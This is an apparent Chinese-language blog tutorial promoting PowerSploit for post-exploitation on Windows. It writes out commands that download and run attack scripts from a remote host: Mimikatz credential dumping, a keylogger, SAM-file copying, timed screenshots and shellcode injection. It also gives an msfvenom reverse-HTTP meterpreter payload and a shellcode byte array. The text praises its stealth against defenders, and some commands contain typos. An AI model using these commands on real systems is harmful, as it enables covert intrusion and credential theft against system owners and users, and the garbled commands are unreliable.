PowerSploit：Windows 后渗透利器，集成多种渗透测试脚本
你在寻找一款专为Win系统设计的后渗透实用工具吗？今天，我们将详细剖析这样一款工具，它汇集了众多渗透测试脚本，功能相当强大。
工具构成与下载后的状态
这个工具实质上是多个脚本的组合。下载后，你会看到一些被归入文件夹的ps脚本。每个文件夹都对应着不同的功能模块。这种分类方法让用户能轻松区分不同功能的脚本，便于查找和使用所需功能。开发者对功能模块的细致划分，在渗透测试中帮助用户准确调用所需功能极为关键。与那些杂乱无章的工具不同，使用这个工具时，我们不会在众多脚本中迷失方向。
PS C: > iex(New-Object net.webclient).Downloadstring('http://192.168.10.1/PowerSploit/Exfiltration/Invoke-Mimikatz.ps1')PS C: > Invole-mimikatz -command sekurlsa::logonpassword #会被win10阻拦PS C: > Invole-mimikatz -command lsadump::asm #从sam文件中获取
各个模块自然包含着各式各样的功能。这便是其独到之处，通过合理地对功能模块进行分类，使得渗透测试能够井然有序地进行。比如在网络安全渗透测试中，对于Windows系统，恰当的脚本分类能够在遇到各种复杂情况时迅速找到解决办法。
PS C: > iex(New-Object net.webclient).Downloadstring('http://192.168.10.1/PowerSploit/Exfiltration/Get-Keystrokes.ps1')PS C: > Get-Keystrokes -LogPath C:\123.txt
使用方法的独特之处
使用方法独特。只需将脚本文件存放在网络服务器，再借助远程加载技术，脚本便能执行而无需实际放置在目标系统。这样做显著降低了在目标系统上操作的痕迹，提升了渗透测试或攻击的隐蔽性。举例来说，在针对大型企业网络的渗透测试中，若能实现脚本的无痕迹执行，就如同隐形的刺客，更难被察觉，从而大幅提升了成功几率。
PS C: > iex(New-Object net.webclient).Downloadstring('http://192.168.10.1/PowerSploit/Exfiltration/Invoke-NinjaCopy.ps1')PS C: > Invoke-NinjaCopy -Path c:\windows\system\config\sam -LocalDestination C:\windows\temp\sam
PS C: > Get-TimedScreenshot -Path c:\windows\temp\ -Interval 10 -EndTime 12:00这种使用方式与直接将脚本嵌入目标系统或本地打开执行的传统做法有着根本的不同。传统做法常常在目标系统中留下大量痕迹，这些痕迹很容易被系统的安全防护机制察觉并拦截。而远程加载的方式则能在一定程度上避免这些风险。
信息搜集模块的功能
msfvenom -p windows/x64/meterpreter/reverse_http Lhost=192.168.10.1 LPort=8000 -f powershell此工具的信息搜集功能相当出色，令人赞叹不已。它具备多种能力，例如获取哈希值、截取屏幕以及记录键盘操作等。其中，获取哈希值的功能，就好比一把解锁系统安全大门的神秘钥匙。借助猕猴桃这款获取哈希的神器，在具备管理员权限的情况下，轻松就能获取到哈希值。
[Byte[]] $buf = 0xfc,0x48,0x83,0xe4,0xf0,0xe8,0xcc,0x0,0x0,0x0,0x41,0x51,0x41,0x50,0x52,0x51,0x48,0x31,0xd2,0x56,0x65......它的键盘记录器功能堪称强大。它能详尽记录按键、时间以及活动窗口。这项功能尤其适合用于窃取账户密码。在网络安全攻防战中，一旦黑客获取这些信息，便可以轻松登录目标账户，导致机密信息泄露等严重后果。此外，它还能复制系统原本不允许复制的文件，比如sam文件。而且，这需要管理员权限，对于深入挖掘系统安全漏洞有着极大的帮助。
代码执行模块剖析
PS C:> IEX(New-Object net.webclient).Downloadstring('http://192.168.10.1/PowerSploit/CodeExecution/Invoke-Shellcode.ps1')PS C:> get-help Invoke-ShellcodePS C:> Invoke-ShellCode -Force -Shellcode 0xfc,0x84....
该工具的代码执行模块功能丰富。在执行注入操作时，通常调用特定模块将其注入至本地执行。我们能够生成CS和msf文件，文件接收格式为0x00。加载模块时，若使用-Force参数，则会默认执行载荷。或者，将其放置于服务器上，即可与msf建立连接。但需注意，一旦ps窗口关闭，连接便会立即断开。
操作还包括将特定模块嵌入到正在运行的进程里。进程一旦关闭，与之相连的连接也会中断，因此，建议将该模块注入到系统进程中。操作步骤如下：首先，需查找并记录目标进程的进程标识符（PID）。接着，尝试将该模块注入到该进程中。若初次尝试失败，可尝试其他进程。在极端情况下，甚至可以启动一个隐蔽的进程以完成注入任务。至于DLL注入，操作同样复杂。首先，必须加载模块，并将DLL文件上传至主机。完成这些步骤后，才能进行程序注入。然而，这个过程存在一定风险。
提权模块的要点
PS C:> IEX(New-Object net.webclient).Downloadstring("http://192.168.10.1/123.txt")PS C:> Invole-ShellCode -Force -Shellcode $buf
在提权模块里，管理员通常通过执行Get-命令来增加权限。这里面的许多命令都可以使用，脚本则是用来查找目标主机的服务漏洞，以便进行提权。寻找主机漏洞就像是在寻找一条隐藏的小径，一旦发现并成功提升权限，就如同登高望远，能够全面审视整个系统。在网络渗透过程中，这一步骤至关重要，因为提权成功后，就能获得更多操作目标系统的权限，进而获取更多机密信息。
内网扫描模块的作用
内网扫描模块是防控的最后防线，它主要执行内网扫描任务。该模块以当前主机作为跳板，展开对内网主机和端口服务的探测工作。扫描内网端口有明确的步骤，首先调用相应模块，接着使用特定方法进行扫描。有一个案例，就是通过这个模块成功扫描到一个80端口。此外，它还能进行反向DNS查询，这在网络安全领域，有助于查找内网主机IP对应的主机名。在内网或域内，IP与主机名的对应关系至关重要。
C:> taklistPS C:> ps -Name lsm
说到这里，大家对于这款渗透工具的安全性有何见解？不妨点个赞，分享一下你的想法。也欢迎在评论区留下你的观点。